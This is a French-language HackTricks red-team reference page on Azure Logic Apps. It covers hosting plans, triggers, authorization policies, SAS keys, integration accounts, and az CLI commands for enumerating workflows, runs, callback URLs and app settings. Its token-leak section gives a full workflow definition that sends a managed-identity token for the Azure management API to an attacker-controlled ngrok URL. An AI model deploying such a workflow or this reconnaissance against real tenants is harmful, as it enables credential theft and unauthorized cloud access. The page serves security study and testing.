Az - Logic Apps

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Azure Logic Apps permet aux dĂ©veloppeurs de crĂ©er et d’exĂ©cuter des workflows qui intĂšgrent divers services, sources de donnĂ©es et applications. Ces workflows sont conçus pour automatiser les processus mĂ©tier, orchestrer des tĂąches et effectuer des intĂ©grations de donnĂ©es Ă  travers diffĂ©rentes plateformes.

Logic Apps fournit un concepteur visuel pour crĂ©er des workflows avec une large gamme de connecteurs prĂ©conçus, ce qui facilite la connexion et l’interaction avec divers services :

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Options d’hĂ©bergement

Il existe plusieurs options d’hĂ©bergement :

  • Consommation
  • Multi-tenant : Cela fournit des ressources de calcul partagĂ©es, fonctionne dans le cloud public et suit un modĂšle de tarification Ă  la demande. Cela est idĂ©al pour des charges de travail lĂ©gĂšres et rentables. C’est ce que nous appellerons un “Workflow Unique”.
  • Standard
  • Plan de service de workflow : Cela fournit des ressources de calcul dĂ©diĂ©es avec intĂ©gration VNET pour le rĂ©seau et facture par instance de plan de service de workflow. Il est adaptĂ© aux charges de travail plus exigeantes nĂ©cessitant un plus grand contrĂŽle.
  • Environnement de service d’application V3 : Cela fournit des ressources de calcul dĂ©diĂ©es avec une isolation et une Ă©volutivitĂ© complĂštes. Il s’intĂšgre Ă©galement avec VNET pour le rĂ©seau et utilise un modĂšle de tarification basĂ© sur les instances de service d’application au sein de l’environnement.
  • Hybride : Cela est conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gĂ©rĂ©es par le client avec accĂšs au rĂ©seau local et utilise l’autoscaling basĂ© sur les Ă©vĂ©nements Kubernetes (KEDA). Il repose sur un environnement d’application conteneurisĂ©e connectĂ©.

Workflows “Uniques” / Plan de Consommation

Un workflow est une sĂ©quence structurĂ©e d’étapes ou de tĂąches automatisĂ©es qui exĂ©cutent un processus ou un objectif spĂ©cifique. Il dĂ©finit comment diffĂ©rentes actions, conditions et dĂ©cisions interagissent pour atteindre un rĂ©sultat souhaitĂ©, rationalisant les opĂ©rations et rĂ©duisant l’effort manuel.

Tip

Le plan de consommation permet de crĂ©er un workflow unique sans avoir besoin d’une Logic App elle-mĂȘme.

Déclencheurs et Actions

Les dĂ©clencheurs de workflow indiquent quand le workflow doit commencer. Les dĂ©clencheurs peuvent ĂȘtre un point de terminaison HTTP, un calendrier ou des dizaines d’évĂ©nements diffĂ©rents d’Azure ou mĂȘme d’applications externes.

Chaque workflow a diffĂ©rentes actions. Ces actions sont les Ă©tapes que le workflow suit. Selon l’action, diffĂ©rents paramĂštres seront disponibles pour la configurer, comme :

  • Nom de la connexion : Connexion Ă  utiliser avec laquelle l’action interagira.
  • Type d’authentification : Les diffĂ©rentes options sont ClĂ© d’accĂšs, Microsoft Entra ID, authentification de principal de service intĂ©grĂ© et identitĂ© gĂ©rĂ©e de Logic Apps.
  • D’un point de vue en lecture seule, les donnĂ©es d’authentification sont toujours intĂ©ressantes car elles pourraient contenir des informations sensibles.
  • D’un point de vue d’écriture, les donnĂ©es d’authentification sont toujours intĂ©ressantes car elles pourraient permettre d’utiliser les autorisations des identitĂ©s gĂ©rĂ©es assignĂ©es.
  • 


Les actions ont Ă©galement divers paramĂštres, qui dĂ©pendent de l’action elle-mĂȘme. Certains des paramĂštres les plus courants sont :

  • Politique de rĂ©essai : Configure le nombre de rĂ©essais et l’intervalle entre eux.
  • DĂ©lai d’expiration : DĂ©finit le temps maximum que l’action peut s’exĂ©cuter avant d’expirer.
  • ExĂ©cuter aprĂšs : SpĂ©cifie les conditions qui doivent ĂȘtre remplies avant que l’action ne s’exĂ©cute.
  • Validation de schĂ©ma : Assure que les donnĂ©es entrantes suivent une structure prĂ©dĂ©finie.
  • RĂ©seautage : Configure comment gĂ©rer diffĂ©rents en-tĂȘtes.
  • EntrĂ©es/Sorties sĂ©curisĂ©es : Cela masquera les donnĂ©es d’entrĂ©e/sortie de l’historique d’exĂ©cution.
  • 


Politiques d’autorisation

Ces workflows prennent en charge des politiques d’autorisation avec Entra ID pour sĂ©curiser les dĂ©clencheurs basĂ©s sur des requĂȘtes en exigeant un jeton d’accĂšs valide. Ce jeton doit inclure des revendications spĂ©cifiques :

  • Émetteur (iss) pour vĂ©rifier le fournisseur d’identitĂ©
  • Public (aud) pour s’assurer que le jeton est destinĂ© Ă  la Logic App
  • Sujet (sub) pour identifier l’appelant
  • ID JWT (identifiant de jeton Web JSON)
  • Revendication personnalisĂ©e

Lorsqu’une requĂȘte est reçue, Logic Apps valide le jeton par rapport Ă  ces revendications et permet l’exĂ©cution uniquement si elles correspondent Ă  la politique configurĂ©e. Cela peut ĂȘtre utilisĂ© pour permettre Ă  un autre locataire de dĂ©clencher le workflow ou de refuser le dĂ©clenchement d’autres sources, par exemple en n’autorisant le dĂ©clenchement que s’il provient de https://login.microsoftonline.com/.

ClĂ©s d’accĂšs

Les workflows gĂ©nĂšrent 2 clĂ©s d’accĂšs lorsqu’ils sont créés. Ces clĂ©s sont utilisĂ©es pour authentifier et autoriser les requĂȘtes au workflow. Les clĂ©s sont utilisĂ©es pour gĂ©nĂ©rer un jeton de signature d’accĂšs partagĂ© (SAS), qui est inclus dans l’URL de la requĂȘte.

Ainsi, lorsqu’un dĂ©clencheur de point de terminaison HTTP est créé, un point de terminaison HTTP unique avec une signature SAS qui accorde la permission d’appeler le workflow est gĂ©nĂ©rĂ©.

Ces clĂ©s peuvent ĂȘtre rĂ©gĂ©nĂ©rĂ©es et une nouvelle URL SAS sera créée pour ces dĂ©clencheurs, mais les valeurs des clĂ©s ne peuvent pas ĂȘtre accessibles.

Exemple d’une URL SAS pour invoquer un dĂ©clencheur :

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

ParamĂštres et composants du flux de travail

  • Option d’accĂšs au dĂ©clencheur : Ce paramĂštre vous permet de restreindre qui peut dĂ©clencher ou dĂ©marrer votre flux de travail. Les options sont Tout IP, Seulement un autre flux de travail et Plages IP spĂ©cifiques.
  • Compte d’intĂ©gration : Liez votre flux de travail Ă  un Compte d’IntĂ©gration.
  • Haut dĂ©bit : S’il est activĂ©, cela permet de gĂ©rer plus de demandes en parallĂšle rapidement.
  • Conservation de l’historique des exĂ©cutions : Cela indique le nombre de jours Ă  conserver l’historique des exĂ©cutions.
  • Connexions API : Cela montre les diffĂ©rentes connexions API que le flux de travail possĂšde. À l’intĂ©rieur de chacune de ces connexions, elles ont diffĂ©rentes propriĂ©tĂ©s et la possibilitĂ© de modifier la connexion API oĂč le type d’authentification peut ĂȘtre changĂ©.
  • Historique : Il a l’option d’accĂ©der Ă  l’historique des anciennes exĂ©cutions et d’obtenir des donnĂ©es : ParamĂštres, Sortie, ParamĂštres et le Code.
  • Versions : Il a l’option d’accĂ©der Ă  diffĂ©rentes versions du flux de travail, oĂč vous pouvez vĂ©rifier le code et changer le flux de travail actuel avec une version antĂ©rieure de celui-ci.
  • IdentitĂ©s gĂ©rĂ©es : Il est possible d’assigner 1 identitĂ© gĂ©rĂ©e par le systĂšme et une identitĂ© gĂ©rĂ©e par l’utilisateur au flux de travail.

Fuite de jetons d’accùs MI

L’action HTTP dans un flux de travail peut ĂȘtre utilisĂ©e pour envoyer des donnĂ©es Ă  un web externe. Dans les ParamĂštres avancĂ©s de l’action HTTP, il est possible de configurer le Type d’authentification comme IdentitĂ© gĂ©rĂ©e et ensuite sĂ©lectionner l’IdentitĂ© gĂ©rĂ©e assignĂ©e Ă  utiliser (systĂšme ou utilisateur).

De plus, il est possible d’indiquer dans l’Audience l’audience du JWT gĂ©nĂ©rĂ©, qui pourrait ĂȘtre par exemple https://management.azure.com/ pour pouvoir utiliser le jeton gĂ©nĂ©rĂ© pour accĂ©der Ă  l’API de gestion Azure.

Warning

Faire en sorte que l’action envoie la requĂȘte HTTP Ă  un serveur contrĂŽlĂ© par un attaquant peut fuir le jeton d’accĂšs de l’identitĂ© gĂ©rĂ©e assignĂ©e au flux de travail.

Tip

Un attaquant pourrait Ă©galement utiliser d’autres types d’actions pour accĂ©der directement Ă  d’autres services Azure et effectuer des actions avec les autorisations de l’identitĂ© gĂ©rĂ©e.

Ceci est le code d’un flux de travail qui expose un point de terminaison HTTP et utilise ensuite une action HTTP pour fuir le jeton d’accĂšs vers l’URL configurĂ©e (ngrok dans ce cas) :

Code du flux de travail ```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```

Logic Apps / Plan Standard

DiffĂ©rences avec les flux de travail “Unique”

Les Logic Apps utilisent essentiellement un App Service en arriĂšre-plan pour hĂ©berger l’application logique qui peut hĂ©berger plusieurs flux de travail. Cela signifie que l’application logique aura toutes les fonctionnalitĂ©s d’un App Service et des flux de travail “Uniques”.

Quelques fonctionnalités clés seraient :

  • Plan App Service : Les Logic Apps dans le plan Standard sont hĂ©bergĂ©es sur un Plan App Service, il est donc possible d’utiliser toutes les fonctionnalitĂ©s de l’App Service comme :
  • Restrictions RĂ©seau : Indiquer d’oĂč elle est accessible.
  • Centre de DĂ©ploiement : DĂ©ployer depuis des plateformes externes comme Github, Bitbucket, Azure Repos, Git externe et Git local.
  • AccĂšs FTP : Il est possible d’accĂ©der aux fichiers de l’application logique via FTP.
  • Compte de Stockage : L’application de service utilise un compte de stockage pour stocker des informations.
  • Variables d’environnement & ParamĂštres d’application : Il est possible de configurer des variables d’environnement et des paramĂštres d’application (et de trouver des informations sensibles comme des clĂ©s d’accĂšs au compte de stockage).
  • 

  • ParamĂštres : Les paramĂštres vous permettent de gĂ©rer des valeurs qui varient entre le dĂ©veloppement, le test et la production. Cela vous permet de concevoir d’abord des flux de travail, puis d’ajuster facilement les paramĂštres spĂ©cifiques Ă  l’environnement par la suite.
  • Ressources DĂ©diĂ©es : Les Logic Apps dans le plan Standard ont des ressources dĂ©diĂ©es.
  • Multiples Flux de Travail : Cela permet de crĂ©er plusieurs flux de travail.

Pour plus d’infos sur les App Services, consultez :

Az - Azure App Services

ÉnumĂ©ration

# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Comptes d’intĂ©gration

Comptes d’intĂ©gration, sont une fonctionnalitĂ© d’Azure Logic Apps. Les Comptes d’intĂ©gration sont utilisĂ©s pour faciliter les intĂ©grations au niveau de l’entreprise en permettant des capacitĂ©s B2B avancĂ©es, telles que l’EDI, l’AS2 et la gestion des schĂ©mas XML. Les Comptes d’intĂ©gration sont un conteneur dans Azure qui stocke les artefacts suivants utilisĂ©s pour les Logic Apps :

  • SchĂ©mas : GĂ©rer les schĂ©mas XML pour valider et traiter les messages dans votre compte d’intĂ©gration.
  • Cartes : Configurer des transformations basĂ©es sur XSLT pour convertir les formats de donnĂ©es au sein de vos flux de travail d’intĂ©gration.
  • Assemblages : GĂ©rer les assemblages du compte d’intĂ©gration pour rationaliser la logique et le traitement des donnĂ©es.
  • Certificats : GĂ©rer les certificats pour chiffrer et signer les messages, garantissant une communication sĂ©curisĂ©e.
  • Partenaires : GĂ©rer les informations sur les partenaires commerciaux pour les transactions B2B, permettant des intĂ©grations sans faille.
  • Accords : Configurer des rĂšgles et des paramĂštres pour Ă©changer des donnĂ©es avec des partenaires commerciaux (par exemple, EDI, AS2).
  • Configurations de lot : GĂ©rer les configurations de traitement par lot pour regrouper et traiter les messages efficacement.
  • RosettaNet PIP : Configurer les processus d’interface partenaire RosettaNet (PIPs) pour standardiser la communication B2B.

ÉnumĂ©ration

# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Escalade de privilĂšges

Identique Ă  la privesc des applications logiques :

Az - Logic Apps Privesc

Post-exploitation

Az - Logic Apps Post Exploitation

Persistance

Az - Logic Apps Persistence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks